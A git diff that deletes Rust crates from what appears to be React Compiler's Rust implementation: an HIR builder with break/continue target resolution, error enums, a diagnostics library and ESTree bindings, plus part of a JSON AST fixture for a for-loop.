-            id: self.environment.next_block_id(),
-            kind: next_kind,
-            instructions: Default::default(),
-        };
-        self.terminate_with_fallthrough(terminal, next_wip)
-    }
-
-    pub(crate) fn terminate_with_fallthrough(
-        &mut self,
-        terminal: TerminalValue,
-        fallthrough: WipBlock,
-    ) {
-        let prev_wip = std::mem::replace(&mut self.wip, fallthrough);
-        self.completed.insert(Box::new(BasicBlock {
-            id: prev_wip.id,
-            kind: prev_wip.kind,
-            instructions: prev_wip.instructions,
-            terminal: Terminal {
-                id: self.id_gen.next(),
-                value: terminal,
-            },
-            predecessors: Default::default(),
-            phis: Default::default(),
-        }));
-    }
-
-    pub(crate) fn reserve(&mut self, kind: BlockKind) -> WipBlock {
-        WipBlock {
-            id: self.environment.next_block_id(),
-            kind,
-            instructions: Default::default(),
-        }
-    }
-
-    pub(crate) fn enter<F>(&mut self, kind: BlockKind, f: F) -> Result<BlockId, Diagnostic>
-    where
-        F: FnOnce(&mut Self) -> Result<TerminalValue, Diagnostic>,
-    {
-        let wip = self.reserve(kind);
-        let id = wip.id;
-        self.enter_reserved(wip, f)?;
-        Ok(id)
-    }
-
-    fn enter_reserved<F>(&mut self, wip: WipBlock, f: F) -> Result<(), Diagnostic>
-    where
-        F: FnOnce(&mut Self) -> Result<TerminalValue, Diagnostic>,
-    {
-        let current = std::mem::replace(&mut self.wip, wip);
-
-        let (result, terminal) = match f(self) {
-            Ok(terminal) => (Ok(()), terminal),
-            Err(error) => (
-                Err(error),
-                // TODO: add a `Terminal::Error` variant
-                TerminalValue::Goto(react_hir::GotoTerminal {
-                    block: current.id,
-                    kind: GotoKind::Break,
-                }),
-            ),
-        };
-
-        let completed = std::mem::replace(&mut self.wip, current);
-        self.completed.insert(Box::new(BasicBlock {
-            id: completed.id,
-            kind: completed.kind,
-            instructions: completed.instructions,
-            terminal: Terminal {
-                id: self.id_gen.next(),
-                value: terminal,
-            },
-            predecessors: Default::default(),
-            phis: Default::default(),
-        }));
-        result
-    }
-
-    pub(crate) fn enter_loop<F>(
-        &mut self,
-        scope: LoopScope,
-        f: F,
-    ) -> Result<TerminalValue, Diagnostic>
-    where
-        F: FnOnce(&mut Self) -> Result<TerminalValue, Diagnostic>,
-    {
-        self.scopes.push(ControlFlowScope::Loop(scope.clone()));
-        let terminal = f(self);
-        let last = self.scopes.pop().unwrap();
-        assert_eq!(last, ControlFlowScope::Loop(scope));
-        terminal
-    }
-
-    /// Returns a new temporary identifier
-    /// This may be necessary for destructuring with default values. there
-    /// we synthesize a temporary identifier to store the possibly-missing value
-    /// into, and emit a later StoreLocal for the original identifier
-    #[allow(dead_code)]
-    pub(crate) fn make_temporary(&self) -> react_hir::Identifier {
-        react_hir::Identifier {
-            id: self.environment.next_identifier_id(),
-            name: None,
-            data: Rc::new(RefCell::new(IdentifierData {
-                mutable_range: Default::default(),
-                scope: None,
-                type_: Type::Var(self.environment.next_type_var_id()),
-            })),
-        }
-    }
-
-    /// Resolves the target for the given break label (if present), or returns the default
-    /// break target given the current context. Returns a diagnostic if the label is
-    /// provided but cannot be resolved.
-    pub(crate) fn resolve_break(
-        &self,
-        label: Option<&react_estree::Identifier>,
-    ) -> Result<BlockId, Diagnostic> {
-        for scope in self.scopes.iter().rev() {
-            match (label, scope.label()) {
-                // If this is an unlabeled break, return the most recent break target
-                (None, _) => return Ok(scope.break_block()),
-                // If the break is labeled and matches the current scope, return its break target
-                (Some(label), Some(scope_label)) if &label.name == scope_label => {
-                    return Ok(scope.break_block());
-                }
-                // Otherwise keep searching
-                _ => continue,
-            }
-        }
-        Err(Diagnostic::invalid_syntax(
-            BuildHIRError::UnresolvedBreakTarget,
-            None,
-        ))
-    }
-
-    /// Resolves the target for the given continue label (if present), or returns the default
-    /// continue target given the current context. Returns a diagnostic if the label is
-    /// provided but cannot be resolved.
-    pub(crate) fn resolve_continue(
-        &self,
-        label: Option<&react_estree::Identifier>,
-    ) -> Result<BlockId, Diagnostic> {
-        for scope in self.scopes.iter().rev() {
-            match scope {
-                ControlFlowScope::Loop(scope) => {
-                    match (label, &scope.label) {
-                        // If this is an unlabeled continue, return the first matching loop
-                        (None, _) => return Ok(scope.continue_block),
-                        // If the continue is labeled and matches the current scope, return its continue target
-                        (Some(label), Some(scope_label))
-                            if label.name.as_str() == scope_label.as_str() =>
-                        {
-                            return Ok(scope.continue_block);
-                        }
-                        // Otherwise keep searching
-                        _ => continue,
-                    }
-                }
-                _ => {
-                    match (label, scope.label()) {
-                        (Some(label), Some(scope_label)) if label.name.as_str() == scope_label => {
-                            // Error, the continue referred to a label that is not a loop
-                            return Err(Diagnostic::invalid_syntax(
-                                BuildHIRError::ContinueTargetIsNotALoop,
-                                None,
-                            ));
-                        }
-                        _ => continue,
-                    }
-                }
-            }
-        }
-        Err(Diagnostic::invalid_syntax(
-            BuildHIRError::UnresolvedContinueTarget,
-            None,
-        ))
-    }
-}
diff --git a/compiler/crates/react_build_hir/src/context.rs b/compiler/crates/react_build_hir/src/context.rs
deleted file mode 100644
index 76f7a38789b0..000000000000
--- a/compiler/crates/react_build_hir/src/context.rs
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::collections::HashSet;
-
-use react_estree::IntoFunction;
-use react_hir::Environment;
-use react_semantic_analysis::{DeclarationId, ScopeView};
-
-pub(crate) fn get_context_identifiers<T: IntoFunction>(
-    env: &Environment,
-    node: &T,
-) -> Vec<DeclarationId> {
-    let function_scope = env.scope(node.function()).unwrap();
-    let mut free = FreeVariables::default();
-    let mut seen = HashSet::new();
-    populate_free_variable_references(&mut free, &mut seen, function_scope);
-    free
-}
-
-type FreeVariables = Vec<DeclarationId>;
-
-fn populate_free_variable_references(
-    free: &mut FreeVariables,
-    seen: &mut HashSet<DeclarationId>,
-    scope: ScopeView<'_>,
-) {
-    for reference in scope.references() {
-        if !seen.insert(reference.declaration().id()) {
-            continue;
-        }
-        let declaration_scope = reference.declaration().scope();
-        if !declaration_scope.is_descendant_of(scope) {
-            free.push(reference.declaration().id())
-        }
-    }
-    for child in scope.children() {
-        populate_free_variable_references(free, seen, child);
-    }
-}
diff --git a/compiler/crates/react_build_hir/src/error.rs b/compiler/crates/react_build_hir/src/error.rs
deleted file mode 100644
index 0235c2f90e9a..000000000000
--- a/compiler/crates/react_build_hir/src/error.rs
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use thiserror::Error;
-
-/// Errors which can occur during HIR construction
-#[derive(Error, Debug)]
-pub enum BuildHIRError {
-    /// ErrorSeverity::Unsupported
-    #[error(
-        "Variable declarations must be `let` or `const`, `var` declarations are not supported"
-    )]
-    VariableDeclarationKindIsVar,
-
-    /// ErrorSeverity::Invariant
-    #[error("Invariant: Expected variable declaration to declare a fresh binding")]
-    VariableDeclarationBindingIsNonLocal,
-
-    /// ErrorSeverity::Todo
-    #[error("`for` statements must have an initializer, eg `for (**let i = 0**; ...)`")]
-    ForStatementIsMissingInitializer,
-
-    /// ErrorSeverity::Todo
-    #[error(
-        "`for` statements must have a test condition, eg `for (let i = 0; **i < count**; ...)`"
-    )]
-    ForStatementIsMissingTest,
-
-    /// ErrorSeverity::Invariant
-    #[error("Invariant: Expected an expression node")]
-    NonExpressionInExpressionPosition,
-
-    /// ErrorSeverity::InvalidReact
-    #[error("React functions may not reassign variables defined outside of the component or hook")]
-    ReassignedGlobal,
-
-    /// ErrorSeverity::InvalidSyntax
-    #[error("Could not resolve a target for `break` statement")]
-    UnresolvedBreakTarget,
-
-    /// ErrorSeverity::InvalidSyntax
-    #[error("Could not resolve a target for `continue` statement")]
-    UnresolvedContinueTarget,
-
-    /// ErrorSeverity::InvalidSyntax
-    #[error("Labeled `continue` statements must use the label of a loop statement")]
-    ContinueTargetIsNotALoop,
-
-    /// ErrorSeverity::Invariant
-    #[error("Invariant: Identifier was not resolved (did name resolution run successfully?)")]
-    UnknownIdentifier,
-
-    /// ErrorSeverity::InvalidSyntax
-    #[error("Expected function to have a body")]
-    EmptyFunction,
-
-    #[error("`super` is not suppported")]
-    UnsupportedSuperExpression,
-}
diff --git a/compiler/crates/react_build_hir/src/lib.rs b/compiler/crates/react_build_hir/src/lib.rs
deleted file mode 100644
index 0f8e6196ffd7..000000000000
--- a/compiler/crates/react_build_hir/src/lib.rs
+++ /dev/null
@@ -1,14 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-mod build;
-mod builder;
-mod context;
-mod error;
-
-pub use build::build;
-pub use error::*;
diff --git a/compiler/crates/react_diagnostics/Cargo.toml b/compiler/crates/react_diagnostics/Cargo.toml
deleted file mode 100644
index 3d09c98b797c..000000000000
--- a/compiler/crates/react_diagnostics/Cargo.toml
+++ /dev/null
@@ -1,23 +0,0 @@
-[package]
-name = "react_diagnostics"
-version = "0.1.0"
-publish               = false
-authors.workspace     = true
-description.workspace = true
-edition.workspace     = true
-homepage.workspace    = true
-keywords.workspace    = true
-license.workspace     = true
-repository.workspace  = true
-
-# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
-
-[dependencies]
-# TODO: extract SourceRange into a separate crate so that 
-# we don't depend on full estree here
-react_estree = { workspace = true }
-# TODO: consider extracting a separate react_miette crate which does
-# the translation from react_diagnostics::Diagnostic to miette::Diagnostic
-miette = { workspace = true }
-thiserror = { workspace = true }
-static_assertions = { workspace = true }
\ No newline at end of file
diff --git a/compiler/crates/react_diagnostics/README.md b/compiler/crates/react_diagnostics/README.md
deleted file mode 100644
index 121301fd4cc9..000000000000
--- a/compiler/crates/react_diagnostics/README.md
+++ /dev/null
@@ -1,10 +0,0 @@
-# react_diagnostics
-
-Types for representing compiler diagnostics. Includes a general-purpose representation
-of diagnostics with related information which can be converted into `miette::Diagnostic` to exploit miette's pretty printing of errors. 
-
-Unlike miette, lsp_types, and other diagnostic libraries, the error severities match
-React Compiler's semantics. The intent is that a given diagnostic may be displayed as
-an error, warning, or not displayed at all depending on the context in which the 
-compiler is being used. For example, an ESLint plugin powered by React Compiler may ignore
-InvalidSyntax diagnostics, whereas the regular compiler may report them as errors.
diff --git a/compiler/crates/react_diagnostics/src/diagnostic.rs b/compiler/crates/react_diagnostics/src/diagnostic.rs
deleted file mode 100644
index 8816b6217071..000000000000
--- a/compiler/crates/react_diagnostics/src/diagnostic.rs
+++ /dev/null
@@ -1,285 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::error::Error;
-use std::fmt::{Debug, Display, Write};
-
-use miette::SourceSpan;
-use react_estree::SourceRange;
-use static_assertions::assert_impl_all;
-use thiserror::Error;
-
-pub type Diagnostics = Vec<Diagnostic>;
-pub type DiagnosticsResult<T> = Result<T, Diagnostics>;
-
-#[derive(Debug)]
-pub struct WithDiagnostics<T> {
-    pub item: T,
-    pub diagnostics: Vec<Diagnostic>,
-}
-
-impl<T> From<WithDiagnostics<T>> for Result<T, Diagnostics> {
-    fn from(s: WithDiagnostics<T>) -> Result<T, Diagnostics> {
-        if s.diagnostics.is_empty() {
-            Ok(s.item)
-        } else {
-            Err(s.diagnostics)
-        }
-    }
-}
-
-pub fn diagnostics_result<T>(result: T, diagnostics: Diagnostics) -> DiagnosticsResult<T> {
-    if diagnostics.is_empty() {
-        Ok(result)
-    } else {
-        Err(diagnostics)
-    }
-}
-
-#[derive(Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Debug, Error)]
-pub enum DiagnosticSeverity {
-    /// A feature that is intended to work but not yet implemented
-    #[error("Not implemented")]
-    Todo,
-
-    /// Syntax that is valid but intentionally not supported
-    #[error("Unsupported")]
-    Unsupported,
-
-    /// Invalid syntax
-    #[error("Invalid JavaScript")]
-    InvalidSyntax,
-
-    /// Valid syntax, but invalid React
-    #[error("Invalid React")]
-    InvalidReact,
-
-    /// Internal compiler error (ICE)
-    #[error("Internal error")]
-    Invariant,
-}
-
-/// A diagnostic message as a result of validating some code. This struct is
-/// modeled after the LSP Diagnostic type:
-/// https://microsoft.github.io/language-server-protocol/specification#diagnostic
-///
-/// Changes from LSP:
-/// - `location` is different from LSP in that it's a file + span instead of
-///   just a span.
-/// - Unused fields are omitted.
-/// - Severity is a custom enum that represents React-specific categories of error.
-///   The translation to an LSP error/warning/etc depends on compiler settings and
-///   invocation context.
-#[derive(Debug)]
-pub struct Diagnostic(Box<DiagnosticData>);
-
-impl Diagnostic {
-    fn with_severity<T: 'static + DiagnosticDisplay>(
-        severity: DiagnosticSeverity,
-        message: T,
-        range: Option<SourceRange>,
-    ) -> Self {
-        Self(Box::new(DiagnosticData {
-            message: Box::new(message),
-            span: range.map(source_span_from_range),
-            related_information: Vec::new(),
-            severity,
-            data: Vec::new(),
-        }))
-    }
-
-    /// Creates a new Todo Diagnostic.
-    /// Additional locations can be added with the `.annotate()` function.
-    pub fn todo<T: 'static + DiagnosticDisplay>(message: T, range: Option<SourceRange>) -> Self {
-        Diagnostic::with_severity(DiagnosticSeverity::Todo, message, range)
-    }
-
-    /// Creates a new Unsupported Diagnostic.
-    /// Additional locations can be added with the `.annotate()` function.
-    pub fn unsupported<T: 'static + DiagnosticDisplay>(
-        message: T,
-        range: Option<SourceRange>,
-    ) -> Self {
-        Diagnostic::with_severity(DiagnosticSeverity::Unsupported, message, range)
-    }
-
-    /// Creates a new InvalidSyntax Diagnostic.
-    /// Additional locations can be added with the `.annotate()` function.
-    pub fn invalid_syntax<T: 'static + DiagnosticDisplay>(
-        message: T,
-        range: Option<SourceRange>,
-    ) -> Self {
-        Diagnostic::with_severity(DiagnosticSeverity::InvalidSyntax, message, range)
-    }
-
-    /// Creates a new InvalidReact Diagnostic.
-    /// Additional locations can be added with the `.annotate()` function.
-    pub fn invalid_react<T: 'static + DiagnosticDisplay>(
-        message: T,
-        range: Option<SourceRange>,
-    ) -> Self {
-        Diagnostic::with_severity(DiagnosticSeverity::InvalidReact, message, range)
-    }
-
-    /// Creates a new InvalidReact Diagnostic.
-    /// Additional locations can be added with the `.annotate()` function.
-    pub fn invariant<T: 'static + DiagnosticDisplay>(
-        message: T,
-        range: Option<SourceRange>,
-    ) -> Self {
-        Diagnostic::with_severity(DiagnosticSeverity::Invariant, message, range)
-    }
-
-    /// Annotates this error with an additional location and associated message.
-    pub fn annotate<T: 'static + DiagnosticDisplay>(
-        mut self,
-        message: T,
-        range: Option<SourceRange>,
-    ) -> Self {
-        self.0
-            .related_information
-            .push(DiagnosticRelatedInformation {
-                message: Box::new(message),
-                span: range.map(source_span_from_range),
-            });
-        self
-    }
-
-    pub fn message(&self) -> &impl DiagnosticDisplay {
-        &self.0.message
-    }
-
-    pub fn span(&self) -> Option<SourceSpan> {
-        self.0.span
-    }
-
-    pub fn get_data(&self) -> &[impl DiagnosticDisplay] {
-        &self.0.data
-    }
-
-    pub fn severity(&self) -> DiagnosticSeverity {
-        self.0.severity
-    }
-
-    pub fn related_information(&self) -> &[DiagnosticRelatedInformation] {
-        &self.0.related_information
-    }
-
-    pub fn print_without_source(&self) -> String {
-        let mut result = String::new();
-        writeln!(
-            result,
-            "{message}:{span:?}",
-            message = &self.0.message,
-            span = self.0.span
-        )
-        .unwrap();
-        if !self.0.related_information.is_empty() {
-            for (ix, related) in self.0.related_information.iter().enumerate() {
-                writeln!(
-                    result,
-                    "[related {ix}] {message}:{span:?}",
-                    ix = ix + 1,
-                    message = related.message,
-                    span = related.span
-                )
-                .unwrap();
-            }
-        };
-        result
-    }
-}
-
-impl Display for Diagnostic {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        write!(f, "{}", self.0.message)
-    }
-}
-
-impl Error for Diagnostic {}
-
-impl miette::Diagnostic for Diagnostic {
-    fn help<'a>(&'a self) -> Option<Box<dyn Display + 'a>> {
-        Some(Box::new(self.0.message.to_string()))
-    }
-
-    fn labels(&self) -> Option<Box<dyn Iterator<Item = miette::LabeledSpan> + '_>> {
-        let related_items = &self.0.related_information;
-        let mut spans: Vec<miette::LabeledSpan> = Vec::new();
-        for related in related_items {
-            if let Some(span) = related.span {
-                spans.push(miette::LabeledSpan::new_with_span(
-                    Some(related.message.to_string()),
-                    span,
-                ))
-            }
-        }
-        if spans.is_empty() {
-            if let Some(span) = self.0.span {
-                spans.push(miette::LabeledSpan::new_with_span(
-                    Some(self.0.message.to_string()),
-                    span,
-                ))
-            }
-        }
-        Some(Box::new(spans.into_iter()))
-    }
-}
-
-// Ensure Diagnostic is thread-safe
-assert_impl_all!(Diagnostic: Send, Sync);
-
-#[derive(Debug)]
-struct DiagnosticData {
-    /// Human readable error message.
-    message: Box<dyn DiagnosticDisplay>,
-
-    /// The primary location of this diagnostic.
-    span: Option<SourceSpan>,
-
-    /// Related diagnostic information, such as other definitions in the case of
-    /// a duplicate definition error.
-    related_information: Vec<DiagnosticRelatedInformation>,
-
-    severity: DiagnosticSeverity,
-
-    /// A list with data that can be passed to the code actions
-    /// `data` is used in the LSP protocol:
-    /// @see https://microsoft.github.io/language-server-protocol/specifications/specification-current/#diagnostic
-    data: Vec<Box<dyn DiagnosticDisplay>>,
-}
-
-/// Secondary locations attached to a diagnostic.
-#[derive(Debug)]
-pub struct DiagnosticRelatedInformation {
-    /// The message of this related diagnostic information.
-    pub message: Box<dyn DiagnosticDisplay>,
-
-    /// The location of this related diagnostic information.
-    pub span: Option<SourceSpan>,
-}
-
-/// Trait for diagnostic messages to allow structs that capture
-/// some data and can lazily convert it to a message.
-pub trait DiagnosticDisplay: Debug + Display + Send + Sync {}
-
-/// Automatically implement the trait if constraints are met, so that
-/// implementors don't need to.
-impl<T> DiagnosticDisplay for T where T: Debug + Display + Send + Sync {}
-
-impl From<Diagnostic> for Diagnostics {
-    fn from(diagnostic: Diagnostic) -> Self {
-        vec![diagnostic]
-    }
-}
-
-fn source_span_from_range(range: SourceRange) -> SourceSpan {
-    SourceSpan::new(
-        (range.start as usize).into(),
-        ((u32::from(range.end) - range.start) as usize).into(),
-    )
-}
diff --git a/compiler/crates/react_diagnostics/src/lib.rs b/compiler/crates/react_diagnostics/src/lib.rs
deleted file mode 100644
index 1ce36f909552..000000000000
--- a/compiler/crates/react_diagnostics/src/lib.rs
+++ /dev/null
@@ -1,19 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-mod diagnostic;
-
-pub use diagnostic::*;
-
-/// Returns Ok(()) if the condition is true, otherwise returns Err()
-/// with the diagnostic produced by the provided callback
-pub fn invariant<F>(cond: bool, f: F) -> Result<(), Diagnostic>
-where
-    F: Fn() -> Diagnostic,
-{
-    if cond { Ok(()) } else { Err(f()) }
-}
diff --git a/compiler/crates/react_estree/Cargo.toml b/compiler/crates/react_estree/Cargo.toml
deleted file mode 100644
index ef9598ab06e5..000000000000
--- a/compiler/crates/react_estree/Cargo.toml
+++ /dev/null
@@ -1,22 +0,0 @@
-[package]
-name = "react_estree"
-version = "0.1.0"
-publish               = false
-authors.workspace     = true
-description.workspace = true
-edition.workspace     = true
-homepage.workspace    = true
-keywords.workspace    = true
-license.workspace     = true
-repository.workspace  = true
-
-# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
-
-[dependencies]
-insta = { workspace = true }
-serde = { workspace = true }
-serde_json = { workspace = true }
-static_assertions = { workspace = true }
-
-[build-dependencies]
-react_estree_codegen = { workspace = true }
\ No newline at end of file
diff --git a/compiler/crates/react_estree/README.md b/compiler/crates/react_estree/README.md
deleted file mode 100644
index ec37705b9d16..000000000000
--- a/compiler/crates/react_estree/README.md
+++ /dev/null
@@ -1,17 +0,0 @@
-# react_estree
-
-This crate is a Rust representation of the [ESTree format](https://github.com/estree/estree/tree/master) and
-popular extenions including JSX and (eventually) Flow and TypeScript.
-
-This crate is intended as the main interchange format with outside code. A typical integration with React Compiler
-will look as follows:
-
-1. Host Compiler parses into the host AST format.
-2. Host Compiler converts into `react_estree`.
-3. Host Compiler invokes React Compiler to compile the input, which (conceptually) 
-   returns the resulting code in `react_estree` format.
-4. Host Compiler convert back from `react_estree` to its host AST format.
-
-Because React Compiler is intended to support JavaScript-based toolchains, `react_estree` is designed to support
-accurate serialization to/from estree-compatible JSON. We may also support the Babel AST format 
-(a variant of ESTree) as well, depending on demand.
\ No newline at end of file
diff --git a/compiler/crates/react_estree/build.rs b/compiler/crates/react_estree/build.rs
deleted file mode 100644
index f9687df6ad38..000000000000
--- a/compiler/crates/react_estree/build.rs
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use react_estree_codegen::estree;
-
-// Example custom build script.
-fn main() {
-    // Re-run if the codegen files change
-    println!("cargo:rerun-if-changed=../react_estree_codegen/src/codegen.rs");
-    println!("cargo:rerun-if-changed=../react_estree_codegen/src/lib.rs");
-    println!("cargo:rerun-if-changed=../react_estree_codegen/src/ecmascript.json");
-    println!("cargo:rerun-if-changed=../react_estree_codegen");
-
-    let src = estree();
-    let copyright = "
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-    "
-    .to_string();
-    let trimmed_copyright = copyright.trim();
-    let contents = format!("{trimmed_copyright}\n{src}");
-    std::fs::write("src/generated.rs", contents).unwrap();
-}
diff --git a/compiler/crates/react_estree/src/binding.rs b/compiler/crates/react_estree/src/binding.rs
deleted file mode 100644
index 20a791c15742..000000000000
--- a/compiler/crates/react_estree/src/binding.rs
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use serde::{Deserialize, Serialize};
-
-#[derive(Serialize, Deserialize, Copy, Clone, Debug, PartialEq, Eq, Hash)]
-pub enum Binding {
-    Global,
-    Module(BindingId),
-    Local(BindingId),
-}
-
-#[derive(Serialize, Deserialize, Copy, Clone, Debug, PartialEq, Eq, Hash)]
-pub struct BindingId(u32);
-
-impl BindingId {
-    pub fn new(value: u32) -> Self {
-        Self(value)
-    }
-}
-
-impl From<BindingId> for u32 {
-    fn from(value: BindingId) -> Self {
-        value.0
-    }
-}
diff --git a/compiler/crates/react_estree/src/fixtures/for-statement.json b/compiler/crates/react_estree/src/fixtures/for-statement.json
deleted file mode 100644
index e45691e53009..000000000000
--- a/compiler/crates/react_estree/src/fixtures/for-statement.json
+++ /dev/null
@@ -1,528 +0,0 @@
-{
-    "type": "Program",
-    "loc": {
-      "source": null,
-      "start": {
-        "line": 1,
-        "column": 0
-      },
-      "end": {
-        "line": 7,
-        "column": 1
-      }
-    },
-    "body": [
-      {
-        "type": "FunctionDeclaration",
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 1,
-            "column": 0
-          },
-          "end": {
-            "line": 7,
-            "column": 1
-          }
-        },
-        "id": {
-          "type": "Identifier",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 9
-            },
-            "end": {
-              "line": 1,
-              "column": 18
-            }
-          },
-          "name": "Component",
-          "typeAnnotation": null,
-          "optional": false,
-          "range": [
-            9,
-            18
-          ]
-        },
-        "params": [
-          {
-            "type": "Identifier",
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 1,
-                "column": 19
-              },
-              "end": {
-                "line": 1,
-                "column": 24
-              }
-            },
-            "name": "props",
-            "typeAnnotation": null,
-            "optional": false,
-            "range": [
-              19,
-              24
-            ]
-          }
-        ],
-        "body": {
-          "type": "BlockStatement",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 26
-            },
-            "end": {
-              "line": 7,
-              "column": 1
-            }
-          },
-          "body": [
-            {
-              "type": "VariableDeclaration",
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 2,
-                  "column": 2
-                },
-                "end": {
-                  "line": 2,
-                  "column": 12
-                }
-              },
-              "kind": "let",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 2,
-                      "column": 6
-                    },
-                    "end": {
-                      "line": 2,
-                      "column": 11
-                    }
-                  },
-                  "init": {
-                    "type": "Literal",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 2,
-                        "column": 10
-                      },
-                      "end": {
-                        "line": 2,
-                        "column": 11
-                      }
-                    },
-                    "value": 0,
-                    "range": [
-                      38,
-                      39
-                    ],
-                    "raw": "0"
-                  },
-                  "id": {
-                    "type": "Identifier",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 2,
-                        "column": 6
-                      },
-                      "end": {
-                        "line": 2,
-                        "column": 7
-                      }
-                    },
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "optional": false,
-                    "range": [
-                      34,
-                      35
-                    ]
-                  },
-                  "range": [
-                    34,
-                    39
-                  ]
-                }
-              ],
-              "range": [
-                30,
-                40
-              ]
-            },
-            {
-              "type": "ForStatement",
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 3,
-                  "column": 2
-                },
-                "end": {
-                  "line": 5,
-                  "column": 3
-                }
-              },
-              "init": {
-                "type": "VariableDeclaration",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 7
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 16
-                  }
-                },
-                "kind": "let",
-                "declarations": [
-                  {
-                    "type": "VariableDeclarator",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 11
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 16
-                      }
-                    },
-                    "init": {
-                      "type": "Literal",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 15
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 16
-                        }
-                      },
-                      "value": 0,
-                      "range": [
-                        56,
-                        57
-                      ],
-                      "raw": "0"
-                    },
-                    "id": {
-                      "type": "Identifier",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 11
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 12
-                        }
-                      },
-                      "name": "i",
-                      "typeAnnotation": null,
-                      "optional": false,
-                      "range": [
-                        52,
-                        53
-                      ]
-                    },
-                    "range": [
-                      52,
-                      57
-                    ]
-                  }
-                ],
-                "range": [
-                  48,
-                  57
-                ]
-              },
-              "test": {
-                "type": "BinaryExpression",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 18
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 24
-                  }
-                },
-                "left": {
-                  "type": "Identifier",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 18
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 19
-                    }
-                  },
-                  "name": "i",
-                  "typeAnnotation": null,
-                  "optional": false,
-                  "range": [
-                    59,
-                    60
-                  ]
-                },
-                "right": {
-                  "type": "Literal",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 22
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 24
-                    }
-                  },
-                  "value": 10,
-                  "range": [
-                    63,
-                    65
-                  ],
-                  "raw": "10"
-                },
-                "operator": "<",
-                "range": [
-                  59,
-                  65
-                ]
-              },
-              "update": {
-                "type": "UpdateExpression",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 26
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 29
-                  }
-                },
-                "operator": "++",
-                "argument": {
-                  "type": "Identifier",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 26
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 27
-                    }
-                  },
-                  "name": "i",
-                  "typeAnnotation": null,
-                  "optional": false,
-                  "range": [
-                    67,
-                    68
-                  ]
-                },
-                "prefix": false,
-                "range": [
-                  67,
-                  70
-                ]
-              },
-              "body": {
-                "type": "BlockStatement",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 31
-                  },
-                  "end": {
-                    "line": 5,
-                    "column": 3
-                  }
-                },
-                "body": [
-                  {
-                    "type": "ExpressionStatement",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 4,
-                        "column": 4
-                      },
-                      "end": {
-                        "line": 4,
-                        "column": 11
-                      }
-                    },
-                    "expression": {
-                      "type": "AssignmentExpression",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 4,
-                          "column": 4
-                        },
-                        "end": {
-                          "line": 4,
-                          "column": 10
-                        }
-                      },
-                      "operator": "+=",
-                      "left": {
-                        "type": "Identifier",
-                        "loc": {
-                          "source": null,
-                          "start": {
-                            "line": 4,
-                            "column": 4
-                          },
-                          "end": {
-                            "line": 4,
-                            "column": 5
-                          }
-                        },
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "optional": false,
-                        "range": [
-                          78,
-                          79
-                        ]
-                      },
-                      "right": {
-                        "type": "Identifier",
-                        "loc": {
-                          "source": null,
-                          "start": {
-                            "line": 4,
-                            "column": 9
-                          },
-                          "end": {
-                            "line": 4,
-                            "column": 10
-                          }
